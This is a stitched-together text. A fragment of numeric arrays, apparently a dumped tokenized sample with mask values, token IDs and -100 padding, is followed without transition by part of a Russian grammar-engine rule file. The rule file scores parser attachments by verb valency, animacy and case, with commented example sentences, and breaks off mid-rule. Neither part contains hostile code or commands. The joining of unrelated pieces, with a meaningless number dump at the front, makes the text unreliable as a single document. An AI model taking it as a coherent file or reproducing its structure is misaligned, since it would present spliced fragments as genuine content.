1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
6617,
537,
12,
2867,
17571,
264,
16,
2254,
1831,
6275,
13,
3903,
1135,
261,
6430,
13,
288,
203,
3639,
2254,
10525,
3844,
31,
203,
3639,
309,
261,
1899,
6275,
422,
618,
12,
11890,
2934,
1896,
13,
288,
203,
5411,
3844,
273,
618,
12,
11890,
10525,
2934,
1896,
31,
203,
5411,
3844,
273,
4183,
10525,
12,
1899,
6275,
16,
315,
39,
24,
75,
23,
2866,
12908,
537,
30,
3844,
14399,
19332,
4125,
8863,
203,
3639,
289,
203,
203,
3639,
1699,
6872,
63,
3576,
18,
15330,
6362,
87,
1302,
264,
65,
273,
3844,
31,
203,
203,
3639,
3626,
1716,
685,
1125,
12,
3576,
18,
15330,
16,
17571,
264,
16,
3844,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// LC->24.10.2015
tree_scorers ОдушОбъект
tree_scorer ОдушОбъект language=Russian
{
if context { местоим_сущ:кто{} }
then 1
}
tree_scorer ОдушОбъект language=Russian
{
if context { местоим_сущ:кто-нибудь{} }
then 1
}
tree_scorer ОдушОбъект language=Russian
{
if context { местоим_сущ:кто-то{} }
then 1
}
tree_scorer ОдушОбъект language=Russian
{
if context { местоим_сущ:кто-либо{} }
then 1
}
tree_scorer ОдушОбъект language=Russian
{
if context { существительное:*{ одуш:одуш } }
then 1
}
tree_scorer ОдушОбъект language=Russian
{
if context { местоимение:я{ род:муж } }
then 1
}
tree_scorer ОдушОбъект language=Russian
{
if context { местоимение:я{ род:жен } }
then 1
}
// друзья должны были дождаться нас у леса
// ^^^
tree_scorer ОдушОбъект language=Russian
{
if context { местоимение:я{ лицо:1 } }
then 1
}
// Я дождусь вас
// ^^^
tree_scorer ОдушОбъект language=Russian
{
if context { местоимение:я{ лицо:2 } }
then 1
}
tree_scorer ОдушОбъект language=Russian
{
if context { 'себе' }
then 1
}
tree_scorers НеодушОбъект
tree_scorer НеодушОбъект language=Russian
{
if context { существительное:*{ одуш:неодуш } }
then 1
}
tree_scorer НеодушОбъект language=Russian
{
if context { местоим_сущ:что-то{} }
then 1
}
tree_scorer НеодушОбъект language=Russian
{
if context { местоимение:я{ род:ср } }
then 1
}
tree_scorer НеодушОбъект language=Russian
{
if context { местоим_сущ:что{} }
then 1
}
tree_scorer НеодушОбъект language=Russian
{
if context { местоим_сущ:что-нибудь{} }
then 1
}
tree_scorer НеодушОбъект language=Russian
{
if context { местоим_сущ:что-либо{} }
then 1
}
// ------------------------------------
/*
function int CheckVerbSubjectConcord( tree v, tree sbj )
{
int res_score=0;
// Для безличных глаголов проверять не надо.
if( eq( wordform_class(v),ГЛАГОЛ) )
then
{
int sbj_number = wordform_get_coord( sbj, ЧИСЛО );
if( eq(sbj_number,-1) )
then
{
// Подлежащим может оказаться часть речи без категории числа.
// У нас есть кое-что общее.
// ^^^^^^^
if( eq( wordform_class( sbj ), МЕСТОИМ_СУЩ ) )
then sbj_number = ЧИСЛО:ЕД;
else if( eq( wordform_class( sbj ), ИНФИНИТИВ ) )
then sbj_number = ЧИСЛО:ЕД;
}
int v_number = wordform_get_coord( v, ЧИСЛО );
// согласование по числу выполняется в любом времени
if( neq( sbj_number, v_number ) )
then res_score=-10; // рассогласование по числу
else
{
int v_tense = wordform_get_coord( v, ВРЕМЯ );
if( eq( v_tense, ВРЕМЯ:ПРОШЕДШЕЕ ) )
then
{
if( eq( v_number, ЧИСЛО:ЕД ) )
then
{
// В прошедшем времени надо сопоставить род.
// Если подлежащее - местоимение Я в первом или втором лице, то род
// проверять не надо:
// А я и не слышала.
// ^^^ ^^^^^^^
if( log_and(
eq( wordform_class(sbj), МЕСТОИМЕНИЕ ),
one_of( wordform_get_coord(sbj,ЛИЦО), ЛИЦО:1, ЛИЦО:2 )
) )
then
{
// nothing to check
}
else
{
int sbj_gender = wordform_get_coord( sbj, РОД );
int v_gender = wordform_get_coord( v, РОД );
if( neq( sbj_gender, v_gender ) )
then res_score=-10; // рассогласование по роду
}
}
}
else
{
// в настоящем и будущем времени надо сопоставить число и лицо
// особый случай - глагол ЕСТЬ (форма глагола БЫТЬ настоящего времени),
// она не имеет признака лица.
int sbj_person = wordform_get_coord( sbj, ЛИЦО );
if( eq( sbj_person, -1 ) )
then sbj_person=ЛИЦО:3;
if( log_not( eqi( wordform_lexem(v), 'есть' ) ) )
then
{
int v_person = wordform_get_coord( v, ЛИЦО );
if( neq( sbj_person, v_person ) )
then res_score=-10; // рассогласование по лицу
}
}
}
}
return res_score;
}
// Обычный предикат с глаголом в личной форме:
// Я буду читать сказку
// ^^^^^^^^^^^^^
//
// Безличная конструкция:
// от этого мне было жаль отказываться
// ^^^ ^^^^ ^^^^^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian generic
{
if context { инфинитив:*{}.{ v=<LEFT_AUX_VERB>глагол:*{} sbj=<SUBJECT>*:*{} } }
then CheckVerbSubjectConcord(v,sbj)
}
// Суд вынес решение
// ^^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian generic
{
if context { v=глагол:*{}.sbj=<SUBJECT>*:*{} }
then CheckVerbSubjectConcord(v,sbj)
}
*/
// ------------------------------------
// В предложении БЕЖАТЬ НА УРОК понижаем достоверность распознавания УРОК как формы слова УРКА,
// предпочитая неодушевленные объекты.
tree_scorer language=Russian
{
if context { rus_verbs:бежать{}.предлог:на{}.ОдушОбъект }
then -1
}
// пойти на урок
// ^^^^^
tree_scorer language=Russian
{
if context { rus_verbs:пойти{}.предлог:на{}.ОдушОбъект }
then -1
}
// Стали слышны крики играющих детей
// ^^^^^^^^^^^^
tree_scorer language=Russian
{
if context { прилагательное:*{}.<OBJECT>существительное:сталь{падеж:дат} }
then -10
}
// давно хотел взять его рабочий телефон.
// --> неодушевленные обычно не хотят
tree_scorer language=Russian { if context { rus_verbs:хотеть{}.<SUBJECT>НеодушОбъект } then -2 }
tree_scorer language=Russian { if context { rus_verbs:захотеть{}.<SUBJECT>НеодушОбъект } then -2 }
//+tree_scorer language=Russian { if context { rus_verbs:перехотеть{}.<SUBJECT>НеодушОбъект } then -2 }
// ------------------------------------------------------
// Чтобы подавить связывание глагола с предложным паттерном в конструкции:
// завтракать яичницей с беконом
// ^^^^^^^^^^ ^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:завтракать{}.предлог:с{}.существительное:*{ одуш:неодуш <в_класс>существительное:еда{} } }
then -10
}
tree_scorer language=Russian
{
if context { существительное:*{ одуш:неодуш <в_класс>существительное:еда{} }
.предлог:с{}.существительное:*{ одуш:неодуш <в_класс>существительное:еда{} падеж:твор }
}
then 2
}
// Обычно ЯВЛЯТЬСЯ можно кому-то, а не чему-то
// Цена является денежным выражением стоимости.
// ^^^^^^^^ ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:являться{}.<OBJECT>существительное:*{ падеж:дат одуш:неодуш } }
then -10
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:явиться{}.<OBJECT>существительное:*{ падеж:дат одуш:неодуш } }
then -10
}
// обрушивать на головы врагов
// ^^^^^^^^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:обрушивать{}.<OBJECT>существительное:*{ одуш:одуш падеж:вин} }
then -10
}
// Мы подали им руку помощи.
// ^^^^^^ ^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:подать{}.<OBJECT>местоимение:я{ падеж:дат } }
then 2
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:подать{}.<OBJECT>существительное:*{ одуш:одуш падеж:дат } }
then 2
}
// Белки прячутся в дупле
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:прятаться{}.<SUBJECT>ОдушОбъект }
then 2
}
// им пришлось идти боком.
// ^^ ^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { безлич_глагол:пришлось{}.<SUBJECT>*:*{ падеж:дат } }
then 2
}
// Основным доводом явилось беспокойство за сохранение здоровой экологической обстановки.
// ^^^^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer language=Russian
{
if context { существительное:беспокойство{}.предлог:за{}.*:*{падеж:вин} }
then 2
}
// Команды-победительницы в каждой номинации получили сертификаты на спутниковые тарелки.
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer language=Russian
{
if context { существительное:сертификат{}.предлог:на{}.*:*{падеж:вин} }
then 2
}
// Поводом для раскрытия банковской тайны могут стать подозрения в нарушении налогового законодательства
// ^^^^^^^^^^^...
tree_scorer language=Russian
{
if context { существительное:повод{}.предлог:для{} }
then 2
}
// - Вы знали, что перевоплощаться в существа другого биологического вида запрещено сроком на шесть месяцев?
// ^^^^^^^^^
tree_scorer language=Russian
{
if context { существительное:срок{падеж:твор}.предлог:на{} }
then 5
}
// различные страны продолжают осуществлять политику по укреплению своих позиций на Южном Кавказе
// ^^^^^^^^^^^...
tree_scorer language=Russian
{
if context { существительное:политика{}.предлог:по{} }
then 2
}
// Она не могла оторвать взгляда от их грубой подошвы и толстых ниток, прошивающих ботинки по краям.
// ^^^^^^^^ ^^...
tree_scorer language=Russian
{
if context { rus_verbs:оторвать{}.предлог:от{} }
then 2
}
// Предварительное расследование пока исключает вмешательство членов экипажа в работу системы пожаротушения.
tree_scorer language=Russian
{
if context { существительное:вмешательство{}.предлог:в{}.*:*{падеж:вин} }
then 2
}
// Европейский союз готов присоединиться к украинско-российским переговорам по пересмотру цены на газ
// ^^^^^^^^^^^^^^...
tree_scorer language=Russian
{
if context { существительное:переговоры{}.предлог:по{}.*:*{падеж:дат} }
then 2
}
// Ведь и в Мадриде, и в Барселоне начиналось именно с шумихи вокруг их гастрольной поездки...
// ^^^^^^^^^^^^^^...
tree_scorer language=Russian
{
if context { существительное:шумиха{}.предлог:вокруг{} }
then 2
}
// проводили мероприятие по выявлению лиц , занимающихся изготовлением контрафактных лекарств
// ^^^^^^^^^^^^^^^^...
tree_scorer language=Russian
{
if context { существительное:мероприятие{}.предлог:по{}.*:*{падеж:дат} }
then 2
}
// Ведь не была же она настолько наивна, чтобы верить во всю эту чушь насчет надежной мужской руки
// ^^^^^^^^^^^...
tree_scorer language=Russian
{
if context { существительное:чушь{}.предлог:насчет{} }
then 2
}
// Они занимались распространением наркотиков среди посетителей этого увеселительного заведения.
// ^^^^^^^^^^^^^^^^ ^^^^^
tree_scorer language=Russian
{
if context { существительное:распространение{}.предлог:среди{}.*:*{падеж:род} }
then 2
}
// Этот фильм посвящен попытке человека освободиться от своего прошлого, начать новую жизнь
// ^^^^^^^^^^^^^^^
tree_scorer language=Russian
{
if context { rus_verbs:освободиться{}.предлог:от{}.*:*{падеж:род} }
then 2
}
// старик прав : все имеет свою цену.
// ^^^^^^^^^^^
tree_scorer language=Russian
{
if context { прилагательное:правый{ краткий число:ед род:муж }.<SUBJECT>*:*{ падеж:им род:муж число:ед } }
then 2
}
// тем временем надо приготовить лодки.
// ^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:приготовить{}.<OBJECT>*:*{ падеж:вин } }
then 2
}
// Мы выбрали его секретарём нашей организации.
// ^^^^^^^ ^^^ ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:выбрать{}.{
<OBJECT>*:*{ падеж:вин }
<OBJECT>существительное:*{ падеж:твор }
} }
then 3
}
// При жизни его не ценили.
// ^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:ценить{}.<OBJECT>*:*{ падеж:вин } }
then 2
}
// разгрести в задачах залежи
// ^^^^^^^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:разгрести{}.<OBJECT>существительное:*{ одуш:неодуш падеж:вин } }
then 2
}
// император осторожно коснулся пальцами белой перчатки.
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:коснуться{}.{
<OBJECT>*:*{ падеж:твор }
<OBJECT>*:*{ падеж:род }
} }
then 4
}
// именно поэтому она собиралась предложить им очень простой выбор.
// ^^^^^^^^^^ ^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:предложить{}.{
<OBJECT>*:*{ падеж:дат }
<OBJECT>*:*{ падеж:вин }
} }
then 1
}
// девушка смутно ощущала тепло.
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:ощущать{}.<OBJECT>*:*{ падеж:вин } }
then 2
}
// Томас внимательно рассматривал дома.
// ^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:рассматривать{}.<OBJECT>*:*{ падеж:вин } }
then 2
}
// Ричард обвел глазами окрестности.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:обвести{}.{
<OBJECT>*:*{ падеж:твор }
<OBJECT>*:*{ падеж:вин }
} }
then 4
}
// император осторожно коснулся пальцами белой перчатки.
// ^^^^^^^^ ^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:коснуться{}.*:*{ падеж:род } }
then 1
}
// собирать щеткой крошки со стола
// ^^^^^^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:собирать{}.<OBJECT>*:*{ падеж:вин } }
then 2
}
// Глагол ТРУБИТЬ обычно не присоединяет одушевленное прямое дополнение:
// трубить о поимке разбойников
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:трубить{}.<OBJECT>*:*{ одуш:одуш } }
then -10
}
// Глагол СЛАГАТЬ обычно не присоединяет одушевленное прямое дополнение:
// слагать о подвигах викингов
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:слагать{}.<OBJECT>*:*{ одуш:одуш } }
then -10
}
// семья арендовала домик у владельца
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:арендовать{}.предлог:у{}.*:*{ падеж:род одуш:одуш } }
then 2
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:арендовать{}.предлог:у{}.местоимение:*{ падеж:род } }
then 2
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:арендовать{}.предлог:у{}.местоим_сущ:*{ падеж:род } }
then 2
}
// укрыться от маньяка в доме
// ^^^^^^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:укрыться{}.предлог:в{}.*:*{ падеж:предл } }
then 2
}
// уединяться с подругой в доме
// ^^^^^^^^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:уединяться{}.предлог:в{}.*:*{ падеж:предл } }
then 2
}
// Дни стали короче.
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:стать{}.прилагательное:*{ степень:сравн } }
then 2
}
// Чтобы устранить вариант с творительным падежом:
// причинить животным страдания
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:причинить{}.{
<OBJECT>*:*{ падеж:вин }
<OBJECT>*:*{ падеж:дат }
} }
then 4
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:причинять{}.{
<OBJECT>*:*{ падеж:вин }
<OBJECT>*:*{ падеж:дат }
} }
then 4
}
// запах реки сделался сильнее.
// ^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:сделаться{}.прилагательное:*{ степень:сравн } }
then 2
}
// У вас есть чистый лист бумаги и конверт?
// ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:быть{ время:настоящее }.предлог:у{}.*:*{ падеж:род } }
then 2
}
// знакомая опасность казалась страшнее.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:казаться{}.прилагательное:*{ степень:сравн } }
then 2
}
// день будет становиться короче и немного тоскливее
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:становиться{}.прилагательное:*{ степень:сравн } }
then 2
}
// Снимаем омонимию кратких форм ЗАМЕТНЫЙ-ЗАМЕТЕННЫЙ:
// Юпитер заметен невооруженным взглядом
// ^^^^^^^
tree_scorer language=Russian
{
if context { прилагательное:заметный{}.<OBJECT>'взглядом' }
then 2
}
/*
// Студентка села за стол и начала читать журнал.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:начать{}.инфинитив:*{ вид:несоверш } }
then 2
}
*/
// Село должно отпраздновать окончание страды
// ^^^^^^^^^^^^^^^^^^^^
tree_scorer language=Russian
{
if context { прилагательное:должный{ КРАТКИЙ }.инфинитив:*{} }
then 2
}
// ПОРА с инфинитивом обычно является безличным глаголом:
// пора учиться мыслить шире.
tree_scorer ВалентностьГлагола language=Russian
{
if context { безлич_глагол:пора{}.инфинитив:*{} }
then 2
}
// Быть сильным в чем-то неодушевленном:
// Он не силён в математике.
// ^^^^^^^^^^^^^^^^^^
tree_scorer language=Russian
{
if context { прилагательное:сильный{КРАТКИЙ}.'в'.существительное:*{ одуш:неодуш } }
then 2
}
// дождаться сладкого
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:дождаться{}.<OBJECT>НеодушОбъект{ падеж:род } }
then 2
}
// ---------------------------------------------------------------------------
// Дать+местоимение - обычно местоимение в дательном падеже:
// Я не дам им ничего
// ^^^^^^
// просто они дали выход злости.
// ^^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:дать{}.{ <OBJECT>*:*{ падеж:вин } <OBJECT>*:*{ падеж:дат } } }
then 5
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { инфинитив:дать{}.{ <OBJECT>*:*{ падеж:вин } <OBJECT>*:*{ падеж:дат } } }
then 5
}
// Артиллерии дам много.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:дать{}.{ <OBJECT>*:*{ ПАДЕЖ:РОД } наречие:много{} } }
then 6
}
// ---------------------------------------------------------------------------
// Подавим вариант с Генри/твор.п./
// Генри уловил кусочек фразы.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:уловить{}.<OBJECT>*:*{ одуш:одуш падеж:твор } }
then -5
}
// высокие колеса подняли тучи пыли.
// ^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:поднять{}.<OBJECT>существительное:туча{ падеж:вин }.'пыли' }
then 3
}
// причинить животным страдания
// ^^^^^^^^^ ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:причинить{}.<OBJECT>'страдания'{ падеж:вин } }
then 2
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:причинять{}.<OBJECT>'страдания'{ падеж:вин } }
then 2
}
// Зачерпывать пюре большой ложкой
// ^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:зачерпывать{}.<OBJECT>существительное:*{ одуш:неодуш падеж:вин } }
then 1
}
// причинить животным страдания
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:причинять{}.<OBJECT>существительное:*{ одуш:неодуш падеж:вин } }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:причинять{}.<OBJECT>существительное:*{ одуш:одуш падеж:дат } }
then 1
}
// ТРЕБОВАТЬ обычно присоединяет неодушевленные в родительном падеже:
// наша честь требует свободы.
// ^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:требовать{}.<OBJECT>существительное:*{ одуш:неодуш падеж:род } }
then 1
}
// Предпочтительно такое связывание, чтобы подлежащее для ПРИВЫКНУТЬ было обушевленным,
// либо было прямое дополнение в виде неодуш. объекта
// мечом привык решать любой спор.
// ^^^^^^ ^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { глагол:привыкнуть{}.<SUBJECT>существительное:*{ одуш:неодуш } }
then -2
}
// всем нужно спать на мягкой кровати
// ^^^^^^^^^^
tree_scorer language=Russian
{
if context { 'нужно'.'всем'{ падеж:дат } }
then 1
}
// Для модального глагола, к которому прикреплен инфинитив, нежелательно
// прикреплять еще и прямое дополнение:
//
// хочу все это понять
// ^^^^ ^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:хотеть{}.{
<INFINITIVE>*:*{}
<OBJECT>*:*{} } }
then -1
}
// чрезвычайная эмоциональная живость и легкомысленность партнера может меня обижать
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:обижать{}.<OBJECT>*:*{ падеж:вин } }
then 2
}
// происходящее теряет всякое значение.
// ^^^^^^ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:терять{}.<OBJECT>существительное:значение{ падеж:вин } }
then 2
}
// пытаюсь не уснуть, выпивая много крепкого кофе, и заедая его шоколадом
// ^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:заедать{}.{
<OBJECT>*:*{ падеж:вин }
<OBJECT>*:*{ падеж:твор }
} }
then 2
}
// Чтобы подавить распознавание БЫЛИ как существительного:
//
// Обвиняемые были освобождены в зале суда
// ^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { 'были'{ class:глагол }.{
<SUBJECT>прилагательное:*{ число:мн }
<RHEMA>прилагательное:*{ краткий страд число:мн }
} }
then 1
}
// кот спит и видит мышей во сне
// ^^^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:видеть{}.предлог:в{}.существительное:*{ падеж:предл } }
then 1
}
// Одушевленные субъекты обычно СПЯТ, а не СПАДАЮТ
// кенгуру, свернувшись клубком, спал
// ^^^^^^^ ^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:спать{}.<SUBJECT>существительное:*{ одуш:одуш падеж:им } }
then 1
}
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:спасть{}.<SUBJECT>существительное:*{ одуш:одуш падеж:им } }
then -4
}
// ГРЕТЬ ожидает прямое дополнение в вин.п.:
// Я хочу попить чаю, греющего душу
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:греть{}.<OBJECT>существительное:*{ одуш:неодуш падеж:вин } }
then 1
}
// Кошки пили сливки несколько дней подряд
// ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:пить{}.<OBJECT>существительное:*{ падеж:вин <в_класс>существительное:напиток{} } }
then 1
}
// Глагол БЫТЬ предпочинает паттер В+сущ в предл. падеже, а не в винительном:
// машина была в пути
// ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:быть{}.предлог:в{}.*:*{ падеж:предл } }
then 1
}
// настоящий смех приносит облегчение.
// ^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:приносить{}.<OBJECT>существительное:облегчение{падеж:вин} }
then 2
}
// дважды раздался пронзительный свист.
// ^^^^^^^^ ^^^^^
wordentry_set То_Что_Раздается_Как_Звук=существительное:{
шум, свист, стук, звук, сигнал, рев, крик, бормотание, слово, фраза, гул, хохот, плач,
визг, хор, треск, смех, скрип, вопль, звон, выстрел
}
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:раздаться{}.<SUBJECT>То_Что_Раздается_Как_Звук }
then 1
}
// Обычно одушевленный субъект чешет неодушевленный предмет:
//
// Гарри почесал кончик носа.
// ^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:почесать{}.{
<SUBJECT>существительное:*{ падеж:им одуш:одуш }
<OBJECT>существительное:*{ падеж:вин одуш:неодуш }
} }
then 1
}
// цветок придал девушке уверенности.
// ^^^^^^ ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:придать{}.<OBJECT>существительное:*{ одуш:неодуш падеж:род } }
then 1
}
// глухой рев наполнил окрестности.
// ^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:наполнить{}.<OBJECT>существительное:*{ одуш:неодуш падеж:вин } }
then 1
}
// неторопливо допил прохладный сок.
// ^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:допить{}.<OBJECT>существительное:*{ одуш:неодуш падеж:вин <в_класс>существительное:напиток{} } }
then 1
}
/*
// Мы помогли ему влезть в лодку.
// ^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:помочь{}.{
<OBJECT>*:*{ падеж:дат }
инфинитив:*{}
} }
then 5
}
*/
/*
// Разрешите вас пригласить?
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:пригласить{}.<OBJECT>*:*{ падеж:вин } }
then 1
}
*/
// неторопливо допил прохладный сок.
// ^^^^^ ^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:допить{}.<OBJECT>существительное:*{ падеж:вин одуш:неодуш <в_класс>существительное:напиток{} } }
then 1
}
// Он научил меня играть в шахматы.
// ^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:научить{}.{
<OBJECT>*:*{ падеж:вин }
инфинитив:*{}
} }
then 5
}
// Миша допил чай
// ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:допить{}.существительное:*{ падеж:вин одуш:неодуш } }
then 1
}
// Миша выпил чай
// ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:выпить{}.существительное:*{ падеж:вин одуш:неодуш } }
then 1
}
// Он смотрит на вещи просто.
// ^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:смотреть{}.предлог:на{}.существительное:*{ падеж:вин } }
then 1
}
// Оставь книгу у Лены.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:оставить{}.предлог:у{}.существительное:*{ одуш:одуш } }
then 1
}
// кенгуру наловил детенышам мышей своими лапами
// ^^^^^^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:наловить{}.<OBJECT>*:*{ падеж:род } }
then 1
}
// Автор воскресил героя из небытия
// ^^^^^^^^^ ^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:воскресить{}.предлог:из{}.'небытия' }
then 1
}
// Коля вызвался помочь с математикой
// ^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:помочь{}.предлог:с{}.существительное:*{ одуш:неодуш } }
then 1
}
// Поищите это слово в словаре.
// ^^^^^^^ ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:поискать{}.предлог:в{}.существительное:*{ одуш:неодуш падеж:предл } }
then 1
}
// Всё это нашло отражение в его книге.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:найти{}.<OBJECT>существительное:отражение{}.предлог:в{} }
then 3
}
// Я никого не встретил
// ^^^^^^^^^^^^^^^^^^
tree_scorer language=Russian
{
if context { глагол:*{}.{ <NEGATION_PARTICLE>'не' 'никого'{падеж:вин} } }
then 1
}
// Никого не встретить
tree_scorer language=Russian
{
if context { инфинитив:*{}.{ <NEGATION_PARTICLE>'не' 'никого'{падеж:вин} } }
then 1
}
// Он никого не видел там кроме неё.
// ^^^^^^ ^^ ^^^^^
tree_scorer language=Russian
{
if context { глагол:*{}.{ <NEGATION_PARTICLE>'не' 'никого'{падеж:вин} } }
then 1
}
// напасть на спящих
// ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
